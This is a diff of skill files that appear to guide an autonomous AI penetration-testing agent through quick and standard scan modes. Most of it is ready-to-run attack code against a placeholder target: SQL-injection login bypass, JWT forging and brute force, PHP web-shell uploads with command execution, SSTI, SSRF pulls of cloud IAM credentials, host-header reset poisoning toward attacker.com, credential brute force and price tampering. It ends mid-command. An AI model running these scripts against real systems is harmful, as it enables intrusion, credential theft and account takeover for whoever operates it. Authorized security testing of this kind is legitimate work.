- r = requests.get(url, cookies={"session": user_b_cookie}) - if r.status_code == 200: - body = r.text - # Check if response has non-trivial content (not just empty {}) - if len(body) > 50 and user_a_private_data in body: - print(f"IDOR CONFIRMED: {url}") - print(f"Leaked: {body[:200]}") +import requests + +# Load User A's session and resource IDs +USER_A_RESOURCES = load_user_a_resources() +USER_B_COOKIE = load_auth("user_b")["cookie"] +USER_A_UNIQUE_DATA = { + "email": "user_a@test.com", + "username": "user_a_test", + # Add other unique identifiers from User A's profile +} + +def quick_idor_scan(resource_url, resource_id): + """ + Quick IDOR: access User A's resource with User B's session. + CRITICAL: Must verify response BODY contains User A's actual data. + 200 OK alone = NOT IDOR. + """ + r = requests.get(f"{resource_url}/{resource_id}", + headers={"Cookie": f"session={USER_B_COOKIE}"}) + + print(f"Testing: {resource_url}/{resource_id} | Status: {r.status_code}") + + if r.status_code == 200: + body = r.text + for field, value in USER_A_UNIQUE_DATA.items(): + if str(value) in body: + print(f"✅ IDOR CONFIRMED: User B sees User A's {field}='{value}'") + # Capture raw HTTP evidence + print(f"\n[RAW REQUEST]: GET {resource_url}/{resource_id}") + print(f"[VULNERABLE COOKIE]: {USER_B_COOKIE[:20]}... ← USER B SESSION") + print(f"[RAW RESPONSE]: HTTP {r.status_code}") + for h, v in list(r.headers.items())[:5]: + print(f" {h}: {v}") + print(f"[BODY]: {body[:500]}") + print(f"[PROOF]: Contains User A's {field}='{value}' ← IDOR EVIDENCE") + return True, field, value, body + + print(f"NOT IDOR: 200 OK but User A's data not in response") + print(f"Body preview: {body[:100]}") + else: + print(f"Blocked: {r.status_code}") + return False, None, None, None + +# Run for all User A resources and all HTTP methods +for rid, rurl in USER_A_RESOURCES.items(): + for method in ["GET", "PUT", "PATCH", "DELETE"]: + try: + r = requests.request(method, f"{rurl}/{rid}", + headers={"Cookie": f"session={USER_B_COOKIE}", + "Content-Type": "application/json"}, + json={"field": "modified_by_user_b"}) + if r.status_code in [200, 204]: + print(f"⚠️ {method} {rurl}/{rid}: {r.status_code} — verify if User B modified User A's resource") + except Exception: pass ``` -**Vertical escalation**: Try User A's token on any admin endpoint discovered: -- /admin/*, /api/admin/*, /manage/*, /internal/* -- Try adding `"role":"admin"` to any update request +### Vertical Privilege Escalation +```python +# Test every admin endpoint with User A (regular user) +admin_endpoints = [ + "/admin", "/admin/users", "/api/admin/users", "/api/admin/settings", + "/api/admin/roles", "/api/admin/logs", "/api/admin/reports", + "/api/admin/impersonate", "/api/users/all", "/api/internal" +] -### Priority 2: Authentication Bypass +for endpoint in admin_endpoints: + r = requests.get(f"https://target.com{endpoint}", + headers={"Cookie": USER_A_COOKIE}) + if r.status_code == 200: + print(f"⚠️ POTENTIAL BFLA: {endpoint} accessible by regular user") + print(f"Response: {r.text[:200]}") -```bash -# SQL injection in login (manual + sqlmap) -sqlmap -u "https://target.com/login" --data="email=test@t.com&password=test" \ - --method=POST --batch --technique=B --level=2 --risk=1 - -# JWT manipulation -jwt_tool [TOKEN] -X a # none algorithm -jwt_tool [TOKEN] -C -d /usr/share/wordlists/rockyou.txt # weak secret brute force +# Role parameter manipulation +r = requests.patch("https://target.com/api/user/profile", + json={"username": "user_a", "role": "admin", "isAdmin": True}, + headers={"Cookie": USER_A_COOKIE}) +if r.status_code == 200 and "admin" in r.text.lower(): + print("⚠️ MASS ASSIGNMENT: role/isAdmin accepted in update") ``` -Manual tests: -- Submit `' OR '1'='1'--` as username -- Try default credentials: admin/admin, admin/password, admin@target.com/admin -- Test multi-step auth bypass: access step 3 URL directly after only completing step 1 +--- -### Priority 3: Remote Code Execution +## Phase 3: P2 — Authentication Bypass -If ANY of these features exist → test them first: -- File upload (especially images, documents) → try uploading PHP/JSP shell -- Template rendering endpoints → test SSTI: `{{7*7}}`, `${7*7}`, `#{7*7}` -- URL/path parameters that might reach the filesystem → test LFI/RFI -- Command/system integrations → test `; id`, ` | id`, `$(id)`, `` `id` `` - -### Priority 4: SQL Injection +```python +# SQL injection in login +for payload in ["' OR '1'='1'--", "admin'--", '" OR "1"="1"--']: + r = requests.post("https://target.com/api/auth/login", + json={"email": payload, "password": "anything"}) + if r.status_code == 200 and ("token" in r.text or "session" in r.text): + print(f"✅ LOGIN BYPASS via SQLi: {payload}") + print(f"Raw HTTP Response:\nHTTP/1.1 {r.status_code} OK\n{r.text[:500]}") +``` ```bash -# Spray all captured API requests -sqlmap -l /workspace/quick_proxy_capture.txt --batch --level=3 \ - --technique=BEUST --dbms=mysql,postgresql,mssql \ +# JWT attacks +jwt_tool ${USER_TOKEN} -X a # none algorithm +jwt_tool ${USER_TOKEN} -C -d /usr/share/wordlists/rockyou.txt # weak secret + +# Test password reset host header injection +curl -s -X POST "https://target.com/api/auth/forgot-password" \ + -H "Host: attacker.com" \ + -H "Content-Type: application/json" \ + -d '{"email":"user@target.com"}' \ + -v 2>&1 | head -30 +# Check if sent email contains attacker.com in reset link +``` + +--- + +## Phase 4: P3 — Remote Code Execution + +```python +# File upload — web shell attempt +def quick_rce_file_upload(upload_url, session_cookie): + shell_variants = [ + ("shell.php", b"", "image/jpeg"), + ("shell.php5", b"", "image/jpeg"), + ("shell.phtml", b"", "image/jpeg"), + ("shell.PHP", b"", "image/gif"), + (".htaccess", b"AddType application/x-httpd-php .jpg\n", "text/plain"), + ] + + for filename, content, mime in shell_variants: + r = requests.post(upload_url, + files={"file": (filename, content, mime)}, + headers={"Cookie": session_cookie}) + print(f"Upload {filename}: {r.status_code}") + + if r.status_code in [200, 201]: + file_url = extract_url_from_response(r) + if file_url: + exec_r = requests.get(f"{file_url}?cmd=id") + if "uid=" in exec_r.text: + print(f"✅ RCE CONFIRMED: {file_url}?cmd=id → {exec_r.text[:100]}") + return True, file_url + +# SSTI +ssti_payloads = { + "jinja2": "{{7*7}}", + "twig": "{{7*7}}", + "freemarker": "${7*7}", + "velocity": "#set($x=7*7)$x", + "smarty": "{php}echo 7*7;{/php}", + "jade": "#{7*7}", +} + +for engine, payload in ssti_payloads.items(): + r = requests.get(f"https://target.com/api/render", + params={"template": payload}, + headers={"Cookie": USER_A_COOKIE}) + if "49" in r.text: + print(f"✅ SSTI CONFIRMED ({engine}): {payload} → 49 in response") + # Escalate to RCE +``` + +--- + +## Phase 5: P4 — SQL Injection + +```bash +# Quick automated scan +sqlmap -l /workspace/proxy_requests.txt \ + --batch --level=3 --risk=2 \ + --technique=BEUST \ + --dbms=mysql,postgresql,mssql \ --output-dir=/workspace/sqlmap_quick/ + +# Focus on: search, filter, sort, ID parameters, login form ``` -Focus on: search parameters, filter parameters, order parameters, any integer ID in URL path. - -### Priority 5: SSRF - -Test any URL-accepting parameters immediately: -```bash -# Quick SSRF test -OAST_URL="http://$(interactsh-client -id).oast.fun" -for param in url link src webhook avatar import fetch preview; do - curl -s -X POST "https://target.com/api/import" \ - -d "${param}=${OAST_URL}/ssrf-test-${param}" \ - -H "Cookie: ${USER_COOKIE}" & -done -wait -# Check interactsh-client for incoming connections -``` - -If any SSRF callback received → immediately escalate to metadata endpoints: -```bash -curl -s "https://target.com/api/import" \ - -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \ - -H "Cookie: ${USER_COOKIE}" -``` - -### Priority 6: Exposed Secrets & Keys - -```bash -# Check JS bundles and publicly accessible files -trufflehog --regex --entropy=False https://target.com -# Check source maps if available -curl -s https://target.com/static/app.js.map | python3 -m json.tool | grep -i "key\|secret\|token\|password" -# Check .env, config files -for path in .env .env.local config.json settings.json appsettings.json; do - curl -si "https://target.com/${path}" | head -20 -done -# Check git exposure -curl -si "https://target.com/.git/config" -curl -si "https://target.com/.git/HEAD" -``` - ---- - -## Phase 3: Targeted XSS Testing - -Focus ONLY on stored XSS (higher impact than reflected in quick mode): -- Profile name, bio, username → any field that displays to other users -- Message/comment content -- File upload filename if displayed - -For reflected XSS: test ONLY endpoints where the reflected parameter lands in a JavaScript or event handler context (higher impact than simple HTML context). - -Confirm ALL XSS findings with browser execution — never report XSS that only reflects in source. - ---- - -## Phase 4: Quick CORS Validation (SENSITIVE ENDPOINTS ONLY) - -**STOP. Before testing CORS, ask: "Does this endpoint return sensitive data?"** - -Quick filter for which endpoints are worth CORS testing: ```python -# Only test endpoints that return PII/tokens/sensitive data -for endpoint in discovered_endpoints: - r = requests.get(endpoint, headers={"Cookie": user_a_cookie}) - if any(k in r.text.lower() for k in ["password", "token", "secret", "email", "phone", "credit", "ssn", "dob"]): - # Now test CORS on this endpoint - r2 = requests.get(endpoint, - headers={"Origin": "https://attacker.com", "Cookie": user_a_cookie}) +# Time-based confirmation — 5x required even in quick mode +def confirm_sqli_5x(url, param, payload, baseline): + import time, statistics + baselines = []; injected_times = [] + for _ in range(5): + t = time.time(); requests.get(url, params={param: baseline}) + baselines.append(time.time() - t) + t = time.time(); requests.get(url, params={param: payload}) + injected_times.append(time.time() - t) + + b_avg = statistics.mean(baselines) + i_avg = statistics.mean(injected_times) + print(f"Baseline: {b_avg:.2f}s | Injected: {i_avg:.2f}s | Diff: {i_avg-b_avg:.2f}s") + + if i_avg > b_avg + 4.5: + print("✅ SQLI CONFIRMED (5x timing)") + return True + return False +``` + +--- + +## Phase 6: P5 — SSRF + +```python +# Quick SSRF test — all URL parameters +url_params = extract_url_params_from_proxy() + +for endpoint, param in url_params: + # DNS OOB first — confirms injection point (but = Low/Info ONLY) + oast = f"http://{interactsh_id}.oast.fun/quick-{param}" + r = requests.post(endpoint, json={param: oast}, + headers={"Cookie": USER_A_COOKIE}) + + # Immediately escalate to cloud metadata + for meta_url in [ + "http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "http://metadata.google.internal/computeMetadata/v1/project/project-id", + ]: + r = requests.post(endpoint, json={param: meta_url}, + headers={"Cookie": USER_A_COOKIE, + "Metadata-Flavor": "Google"}) + if r.status_code == 200 and len(r.text) > 20: + print(f"✅ SSRF HIGH: Cloud metadata via {param}: {r.text[:200]}") + break + +# SSRF SEVERITY REMINDER: +# DNS callback only → Low/Informational (NEVER Critical/High) +# Internal service response → Medium +# Cloud IAM credentials → High/Critical +``` + +--- + +## Phase 7: P6 — XSS (Stored First) + +```python +from playwright.sync_api import sync_playwright + +def test_stored_xss_quick(input_field_url, input_field_name, display_url): + """ + Quick stored XSS test. + MANDATORY: Confirm execution in headless browser. + """ + payload = f'' + + # Submit XSS payload + r = requests.post(input_field_url, + json={input_field_name: payload}, + headers={"Cookie": USER_A_COOKIE}) + + if r.status_code not in [200, 201]: + return False + + # Confirm execution in browser + with sync_playwright() as p: + browser = p.chromium.launch(headless=True) + page = browser.new_page() + executed = {"value": False, "msg": ""} + + page.on("dialog", lambda d: ( + executed.__setitem__("value", True), + executed.__setitem__("msg", d.message), + d.accept() + )) + + page.goto(display_url, timeout=10000) + page.wait_for_timeout(3000) + browser.close() + + if executed["value"]: + print(f"✅ STORED XSS CONFIRMED: alert({executed['msg']}) executed at {display_url}") + return True + else: + print(f"❌ Payload submitted but did NOT execute in browser — not confirmed") + return False +``` + +--- + +## Phase 8: P7 — CORS (Sensitive Endpoints ONLY) + +```python +# STEP 1: Quick sensitive endpoint detection — MANDATORY before any CORS test +def quick_cors_check(authenticated_endpoints, user_cookie): + sensitive_kw = ["email", "phone", "token", "key", "payment", "message", "private", "ssn"] + + for ep in authenticated_endpoints: + r = requests.get(ep, headers={"Cookie": user_cookie}) + if not any(kw in r.text.lower() for kw in sensitive_kw): + continue # SKIP — not sensitive + + # STEP 2: Test CORS only on confirmed sensitive endpoint + r2 = requests.get(ep, headers={ + "Cookie": user_cookie, + "Origin": "https://attacker.com" + }) acao = r2.headers.get("Access-Control-Allow-Origin", "") acac = r2.headers.get("Access-Control-Allow-Credentials", "") - if acao == "https://attacker.com" and acac == "true": - print(f"EXPLOITABLE CORS: {endpoint}") + + if "attacker.com" in acao and acac.lower() == "true": + print(f"✅ EXPLOITABLE CORS (sensitive endpoint): {ep}") + poc = f'' + print(f"PoC: {poc}") ``` -NEVER report CORS on: login page, public API endpoints, static file servers, endpoints returning only success/failure boolean. +--- + +## Phase 9: P8 — Business Logic Quick Tests + +```python +# Race condition on highest-value endpoint +async def quick_race_test(url, payload, n=15): + import asyncio, aiohttp + async with aiohttp.ClientSession() as s: + results = await asyncio.gather(*[ + s.post(url, json=payload, headers={"Cookie": USER_A_COOKIE}) + for _ in range(n) + ]) + from collections import Counter + counts = Counter(r.status for r in results) + print(f"Race test ({n} simultaneous): {dict(counts)}") + if counts.get(200, 0) > 1: + print("⚠️ Potential race condition — check if action processed multiple times") + +# Price manipulation +r = requests.post("https://target.com/api/cart/checkout", + json={"items": [{"id": "ITEM_1", "price": -99.99, "qty": 1}]}, + headers={"Cookie": USER_A_COOKIE}) +if r.status_code == 200: + print("⚠️ CLIENT-SIDE PRICE ACCEPTED: Price manipulated to -99.99") +``` --- -## Phase 5: Business Logic Quick Tests +## Quick Mode False Positive Checklist — REVIEW BEFORE EVERY REPORT -Focus on the highest-value flows: -- Payment/checkout: try negative prices, zero prices, price manipulation after cart confirmation -- Subscription: try accessing premium features before payment completes -- Coupon/discount: try applying the same coupon twice simultaneously (race condition) -- Quota: try exceeding limits by sending simultaneous requests -- Email/phone change: does it require current password? Can it be done cross-site (CSRF)? +USING THE THINK TOOL, verify every finding against this checklist: + +``` +FALSE POSITIVE REJECTIONS (reject immediately if ANY apply): +[ ] IDOR: Does User B's response body contain User A's actual private data? If NO → NOT IDOR +[ ] XSS: Did the payload execute in the headless browser? If NO → NOT XSS +[ ] CORS: Is the endpoint authenticated and does it return sensitive data? If NO → NOT CORS +[ ] SSRF: Is the finding more than a DNS callback? If NO → Low/Info ONLY +[ ] Rate limit: Is there also NO account lockout AND 500+ requests processed? If NO → Low ONLY +[ ] Missing headers: Are these the ONLY finding? If YES → Informational ONLY +[ ] Self-XSS: Is the attacker the only one who can trigger it? If YES → Informational ONLY +[ ] Open redirect: Does it enable token theft or phishing chain? If NO → Low/Info ONLY +[ ] Username enumeration: Is there NO account lockout? If lockout exists → Low ONLY + +MANDATORY BEFORE REPORTING: +[ ] Two independent confirmation signals identified (both listed) +[ ] Real exploitation proven with tangible output (exact output quoted) +[ ] Complete raw HTTP request captured (all headers + body) +[ ] Complete raw HTTP response captured (status + headers + body) +[ ] UI reproduction steps documented (every click and input) +[ ] Business impact stated specifically: "An attacker can [ACTION] which results in [CONSEQUENCE] affecting [USERS]" +[ ] Think tool used to answer all 5 Real Impact Gate questions +``` --- -## Quick Validation Protocol +## Quick Mode Reporting — ALL 11 SECTIONS STILL REQUIRED -Even in quick mode, the validation bar is the same: +Quick mode does NOT reduce the number of required report sections. +Quick mode does NOT reduce the raw HTTP evidence requirement. +Quick mode does NOT reduce the proof of exploitation requirement. -Before reporting ANY finding: -1. **Can I reproduce it 3 times in a row?** If no: investigate more -2. **Does it have real impact?** "200 OK" is NOT impact — what data was leaked or what action was completed? -3. **Have I confirmed with 2 independent signals?** List them both -4. **Is it a known false positive type?** (CORS on public endpoint, self-XSS, missing headers only) If yes: discard or downgrade +The ONLY difference from Standard/Deep mode is the scope of what is tested. +The QUALITY of what is reported is identical. -Quick-mode specific false positive check: -- IDOR returning 200 but response body is empty or contains only public data → NOT an IDOR, discard -- XSS reflected in HTML source but HTML-encoded → NOT XSS, discard -- SSRF DNS callback received but no internal resource accessed → Informational only (not High/Critical) -- CORS on non-sensitive endpoint → Discard entirely +``` +Every report via create_vulnerability_report MUST include in technical_analysis: + +COMPLETE RAW HTTP REQUEST: +[METHOD] [PATH] HTTP/1.1 +Host: [target] +Authorization/Cookie: [token — ← ATTACKER'S SESSION or ← ATTACK PAYLOAD] +Content-Type: [type] +[all other headers] + +[complete body — ← VULNERABLE PARAMETER marked] + +COMPLETE RAW HTTP RESPONSE: +HTTP/1.1 [status] +[all headers] + +[complete body — ← PROOF OF EXPLOITATION marked] +``` --- -## Quick Reporting Format +## What to Skip in Quick Mode (ONLY These) -Even in quick mode, every report needs all 11 sections. The difference from deep mode is scope, not quality. - -Minimum for each section in quick mode: -- UI steps: still fully numbered, still every click documented -- Screenshots: still required (before/after/proof) -- PoC: still self-contained and executable -- Impact: still specific and business-level — not generic text - ---- - -## What to Skip in Quick Mode - -The following are NOT tested in quick mode (save for Standard/Deep scans): -- Exhaustive subdomain enumeration -- Full port scanning (only top 1000 ports) +The following are NOT tested in quick mode — save for Standard/Deep: +- Exhaustive subdomain enumeration and full port scanning - Deep directory brute-forcing (use small wordlists only) -- Comprehensive parameter discovery (focus on obvious parameters) -- Advanced HTTP request smuggling +- HTTP request smuggling - DOM clobbering and mutation XSS -- Cache poisoning +- Web cache poisoning - Prototype pollution -- Detailed WebSocket security testing -- GraphQL depth/batching attacks -- Comprehensive rate limiting testing on non-auth endpoints -- Low-severity information disclosure without exploitation potential +- Detailed WebSocket security testing beyond basic auth check +- GraphQL depth/batching DoS attacks +- Comprehensive rate limiting on non-auth endpoints +- Low-severity information disclosure without a concrete exploit path +- SAML attacks unless SAML is detected +- gRPC security testing unless gRPC is detected --- ## Quick Mode Mindset -Think like a bug bounty hunter with a 2-hour time limit. Where is the money? What are the highest-severity findings? Go straight for the critical attack surfaces. Don't get distracted by low-severity issues. Find the one Critical or High that matters and prove it completely. +You have limited time. Focus on the highest-impact findings first. Work down the priority list. Never lower the evidence bar — lower the scope instead. -If the first 30 minutes find no quick wins on Priorities 1-3: pivot to less-obvious attack surfaces. Don't keep hammering the same blocked endpoints. +One confirmed Critical with perfect evidence is worth more than a report full of theoretical Mediums. -Speed comes from smart targeting, not from lowering standards. Every finding must still be proven. Every report must still be complete. The difference is where you look, not how you validate what you find. +If Priority 1 (access control) yields a Critical in the first 30 minutes: document it completely and keep going. Don't stop. Move to Priority 2 and keep hunting. The goal is maximum verified impact in minimum time. + +When you have findings: the reporting must be as complete as in Deep mode. The investigation depth may be more focused, but the evidence package is identical. diff --git a/strix/skills/scan_modes/standard.md b/strix/skills/scan_modes/standard.md index e401fc93..268c8bfc 100644 --- a/strix/skills/scan_modes/standard.md +++ b/strix/skills/scan_modes/standard.md @@ -1,150 +1,413 @@ --- name: standard -description: Structured full-coverage security assessment with UI-driven exploration, multi-user cross-session testing, mandatory real impact validation, anti-false-positive enforcement, and recursive second-pass deepening +description: Structured full-coverage security assessment — 8 mandatory phases, think-tool-before-every-decision, UI-driven exploration, multi-user cross-session IDOR validation, mandatory raw HTTP evidence, anti-false-positive enforcement, and two-pass recursive deepening --- -# Standard Testing Mode — Systematic, Rigorous, Complete +# Standard Testing Mode — Systematic, Rigorous, Complete, Evidence-Driven -Balanced coverage across the full attack surface. Not as deep as Deep mode but still exhaustive on all discovered surfaces. Every endpoint tested. Every finding validated with real exploitation proof. UI exploration is mandatory. Two-pass minimum with targeted deepening. +Standard mode provides full attack surface coverage with rigorous validation. It is the baseline for professional penetration testing engagements. Every endpoint tested. Every finding proven end-to-end. Every report contains complete raw HTTP evidence. Two passes minimum — no exceptions. --- -## Core Principles +## CORE STANDARDS — NEVER RELAXED IN STANDARD MODE -**No Guessing**: Every finding must be confirmed with evidence. Theoretical vulnerabilities are not reported. +STANDARD 1: THINK TOOL MANDATORY — use it before reporting any vulnerability, before calling agent_finish, before concluding any endpoint is clean. -**UI is mandatory**: Use the browser to explore the application as a real user. API testing supplements UI testing, never replaces it. +STANDARD 2: RAW HTTP MANDATORY — every vulnerability report MUST include the COMPLETE raw HTTP request (all headers + full body) AND the COMPLETE raw HTTP response (status + all headers + full body up to 2000 chars). -**Real impact required**: Before reporting anything, ask: "Can I demonstrate real, concrete harm from this?" If no: investigate further or downgrade to Informational. +STANDARD 3: TWO-PASS MINIMUM — after Pass 1 completes, spawn Pass 2 agents for all endpoints with anomalies or hints of weakness. -**CORS on sensitive endpoints only**: NEVER test or report CORS on unauthenticated/public endpoints — this is a false positive. Only test endpoints that return sensitive user data. +STANDARD 4: UI FIRST — navigate the application as a real user before testing the API. -**Two-pass minimum**: After the first pass, spawn targeted deeper agents for anything that showed hints of weakness. +STANDARD 5: REAL EXPLOITATION ONLY — no theoretical findings, no scanner-only findings. Every report requires demonstrated end-to-end exploitation with tangible output. + +STANDARD 6: CORS ON SENSITIVE ENDPOINTS ONLY — FORBIDDEN to test or report CORS on any public/unauthenticated endpoint or endpoint that doesn't return sensitive data. + +STANDARD 7: XSS REQUIRES BROWSER EXECUTION — a payload that reflects in HTML source without confirmed browser execution is NOT XSS. FORBIDDEN to report it as such. + +STANDARD 8: IDOR REQUIRES ACTUAL DATA — "200 OK from User B" is NOT IDOR. User B's response body MUST contain User A's actual private data fields. --- -## Phase 0: Recon & Documentation +## Phase 0: Recon & Documentation — MANDATORY FIRST -### Read All Documentation First -Before touching a single endpoint for testing: -- Fetch and parse: robots.txt, sitemap.xml, /swagger.json, /openapi.json, /api/docs, /redoc, /.well-known/ directory -- Attempt GraphQL introspection at /graphql, /api/graphql -- Read the application's help/documentation pages — they reveal features automated tools miss -- Extract all API endpoints, parameters, and business flows from API specs +### Documentation Discovery +FORBIDDEN to begin testing before reading all available documentation. -### Technology Stack Identification -- Framework detection: analyze HTML structure, JS bundle names, response headers (X-Powered-By, X-Framework), Cookie names -- WAF detection: `wafw00f https://target.com` -- Vulnerable library detection: `retire --js` on downloaded JS files -- Server fingerprinting: response headers, error page analysis +```bash +# Probe all documentation paths +for path in /robots.txt /sitemap.xml /swagger.json /swagger.yaml /swagger-ui.html \ + /openapi.json /openapi.yaml /api-docs /api/docs /v1/docs /v2/docs \ + /redoc /graphql /api/graphql /.well-known/openid-configuration \ + /api/schema /schema.json; do + status=$(curl -so /dev/null -w "%{http_code}" "https://target.com${path}") + [[ "$status" != "404" ]] && echo "FOUND: ${path} (${status})" | tee -a /workspace/doc_hits.txt +done -### Attack Surface Mapping -- Crawl with katana: `katana -u https://target.com -jc -d 5 -o /workspace/crawl.txt` -- Spider with gospider for additional coverage -- Extract endpoints from JS: `grep -rhoE "['\"]/(api|v[0-9]|rest|graphql)[^'\"]{0,100}['\"]" /workspace/js_files/` -- Enumerate directories: `ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,204,301,302,307,403` -- Parameter discovery: `arjun -u https://target.com/api/search -o /workspace/params.json` +# Download and parse any found API spec +# Extract ALL endpoints and parameters from spec +# Record every endpoint in /workspace/endpoint_checklist.md +``` -### Create Endpoint Checklist -Create /workspace/endpoint_checklist.md with ALL discovered endpoints before any testing begins. Mark all as 'pending'. +### Technology Detection +```bash +# WAF detection — critical for choosing attack approach +wafw00f https://target.com -v | tee /workspace/waf_detection.txt + +# Technology fingerprinting +httpx -u https://target.com -title -tech-detect -status-code | tee /workspace/tech_stack.txt + +# JS analysis for endpoints and secrets +katana -u https://target.com -jc -d 5 -o /workspace/crawl_results.txt +# Download and analyze JS bundles +for jsfile in $(grep "\.js$" /workspace/crawl_results.txt); do + wget -q "$jsfile" -P /workspace/js_files/ +done +js-beautify /workspace/js_files/*.js -o /workspace/js_beautified/ 2>/dev/null +grep -rhoE "['\"`](/[a-z0-9_/-]{3,})['\"`]" /workspace/js_beautified/ \ + | grep -E "/(api|v[0-9]|auth|admin|user)" | sort -u > /workspace/js_endpoints.txt +trufflehog filesystem /workspace/js_files/ --json > /workspace/secrets_scan.json + +# Subdomain enumeration +subfinder -d target.com -all -o /workspace/subdomains.txt +httpx -l /workspace/subdomains.txt -title -tech-detect -status-code \ + -o /workspace/live_subdomains.txt + +# Directory discovery +ffuf -u https://target.com/FUZZ \ + -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ + -mc 200,204,301,302,307,401,403 -t 50 \ + -o /workspace/dirscan.json -of json +``` + +### Build Endpoint Checklist (MANDATORY) +Create /workspace/endpoint_checklist.md with EVERY discovered endpoint before any testing starts. --- ## Phase 1: Pre-Authentication Testing -### UI Walkthrough (Mandatory) -Navigate to target in browser. Click every visible element. Document all public pages. Record all network requests via proxy. +### Mandatory UI Walkthrough +Open browser. Navigate to target. Click every visible element. Document every public page and form. Record all network requests via proxy. Take screenshots. ### Critical Pre-Auth Tests -- **Login enumeration**: compare error message, status code, body length, response time for valid vs invalid usernames -- **Registration mass assignment**: try `"role":"admin"`, `"isAdmin":true`, `"verified":true` in registration POST body -- **Password reset host header injection**: change Host header to `attacker.com` in reset request -- **Rate limiting**: send 100 rapid login attempts — does the application block them? -- **Public API injection**: test all unauthenticated API endpoints with basic SQLi and XSS payloads -- **Information disclosure**: look for stack traces, database errors, internal paths in error responses + +**Login Bypass:** +```python +# SQLi in ALL login fields — test email, username, AND password fields +import requests + +sqli_payloads = [ + "' OR '1'='1'--", + "admin'--", + "' OR 1=1#", + '" OR "1"="1"--', + "admin'/*", +] + +for payload in sqli_payloads: + r = requests.post("https://target.com/api/auth/login", + json={"email": payload, "password": "anything"}) + if r.status_code == 200 and "token" in r.text: + print(f"LOGIN BYPASS FOUND: {payload}") + print(f"Response: {r.text[:500]}") +``` + +**Registration Mass Assignment:** +```python +# Try adding privileged fields to registration +registration_body = { + "email": "test@test.com", + "password": "TestPass123!", + "username": "testuser", + # Mass assignment attempts: + "role": "admin", + "isAdmin": True, + "is_admin": True, + "verified": True, + "emailVerified": True, + "status": "active", + "privilege": 9, + "permissions": ["admin"] +} +r = requests.post("https://target.com/api/auth/register", json=registration_body) +# Check if role/isAdmin fields were accepted and reflected in response +``` + +**Password Reset Host Header Injection:** +```python +# Test if reset email uses Host header value as the link base +reset_requests_to_test = [ + {"Host": "attacker.com"}, + {"X-Forwarded-Host": "attacker.com"}, + {"X-Host": "attacker.com"}, + {"X-Forwarded-Server": "attacker.com"}, +] + +for headers in reset_requests_to_test: + r = requests.post("https://target.com/api/auth/forgot-password", + json={"email": "victim@target.com"}, + headers={**headers, "Content-Type": "application/json"}) + print(f"Host injection test with {headers}: {r.status_code}") + # If email is received at your test account: check if link contains attacker.com +``` + +**Rate Limiting — Demonstrate Viability:** +```python +import asyncio, aiohttp +from collections import Counter + +async def test_rate_limit_comprehensive(url, payload, attempts=200): + """ + CRITICAL: Only report rate limit absence as HIGH if: + 1. No rate limiting (no 429s after N attempts) AND + 2. No account lockout (same account responds after 200+ wrong attempts) + """ + async with aiohttp.ClientSession() as session: + tasks = [ + session.post(url, json={**payload, "password": f"wrong{i}"}) + for i in range(attempts) + ] + results = await asyncio.gather(*tasks, return_exceptions=True) + + statuses = Counter(r.status for r in results if hasattr(r, 'status')) + blocked = statuses.get(429, 0) + statuses.get(403, 0) + + print(f"Rate limit test ({attempts} attempts):") + print(f"Status distribution: {dict(statuses)}") + print(f"Blocked: {blocked}/{attempts}") + + if blocked == 0: + print("No rate limiting detected") + # Now test for account lockout — try the REAL password at attempt #201 + r_final = requests.post(url, json=payload) # real password + if r_final.status_code == 200: + print("✅ HIGH SEVERITY: No rate limit AND no lockout — brute force viable") + else: + print(f"Account may be locked after {attempts} attempts: {r_final.status_code}") + print("LOW severity: lockout compensates for missing rate limit") + else: + print(f"Rate limit active — severity is LOW") + +asyncio.run(test_rate_limit_comprehensive( + "https://target.com/api/auth/login", + {"email": "user@target.com", "password": "correct_password"}, + attempts=200 +)) +``` + +**Username Enumeration:** +```python +import time, statistics + +def test_username_enumeration(endpoint, valid_user, invalid_user, attempts=5): + valid_times, invalid_times = [], [] + valid_msgs, invalid_msgs = [], [] + + for _ in range(attempts): + t = time.time() + r = requests.post(endpoint, json={"email": valid_user, "password": "wrongpassword"}) + valid_times.append(time.time() - t) + valid_msgs.append(r.text[:100]) + + t = time.time() + r = requests.post(endpoint, json={"email": invalid_user, "password": "wrongpassword"}) + invalid_times.append(time.time() - t) + invalid_msgs.append(r.text[:100]) + + avg_valid = statistics.mean(valid_times) + avg_invalid = statistics.mean(invalid_times) + + time_diff = abs(avg_valid - avg_invalid) + msg_diff = set(valid_msgs) != set(invalid_msgs) + + print(f"Valid user avg: {avg_valid:.3f}s | Invalid user avg: {avg_invalid:.3f}s") + print(f"Time difference: {time_diff:.3f}s ({'SIGNIFICANT' if time_diff > 0.1 else 'not significant'})") + print(f"Message difference: {msg_diff}") + if msg_diff: + print(f"Valid messages: {set(valid_msgs)}") + print(f"Invalid messages: {set(invalid_msgs)}") +``` --- ## Phase 2: Authentication & Multi-User Setup -### Multi-User Account Creation (UI Only) -- Create **User A** via the registration UI — capture all session tokens -- Create **User B** via the registration UI — capture all session tokens separately -- Attempt admin access via default credentials or admin-only registration paths -- Save all credentials and tokens to /workspace/auth_tokens.md +### Account Creation — UI ONLY (Screenshots Required) +``` +1. Browser → /register → fill User A details → screenshot every step → complete onboarding +2. Browser → /register → fill User B details → screenshot every step → complete onboarding +3. Capture session data for BOTH users and save to /workspace/auth_tokens.md: + - All cookies with flags (SameSite, HttpOnly, Secure, Path, Domain) + - JWT token (decode with jwt_tool, record header + payload) + - CSRF token + - API keys (if any) +4. Try admin creation: /admin/register, default creds (admin/admin, admin/password) +``` -### JWT & Session Analysis +### JWT Security Testing ```bash -# Decode and analyze JWT -jwt_tool [TOKEN] --decode +USER_TOKEN="[paste JWT here]" + +# Decode and analyze +python3 -c " +import base64, json +parts = '${USER_TOKEN}'.split('.') +header = json.loads(base64.b64decode(parts[0] + '===')) +payload = json.loads(base64.b64decode(parts[1] + '===')) +print('Header:', json.dumps(header, indent=2)) +print('Payload:', json.dumps(payload, indent=2)) +" + # Test none algorithm -jwt_tool [TOKEN] -X a -# Test weak secret -jwt_tool [TOKEN] -C -d /usr/share/wordlists/rockyou.txt +python3 /home/pentester/tools/jwt_tool/jwt_tool.py "${USER_TOKEN}" -X a + +# Test weak secret brute force +python3 /home/pentester/tools/jwt_tool/jwt_tool.py "${USER_TOKEN}" -C \ + -d /usr/share/wordlists/rockyou.txt + +# RS256 to HS256 confusion (fetch public key first) +JWKS=$(curl -s 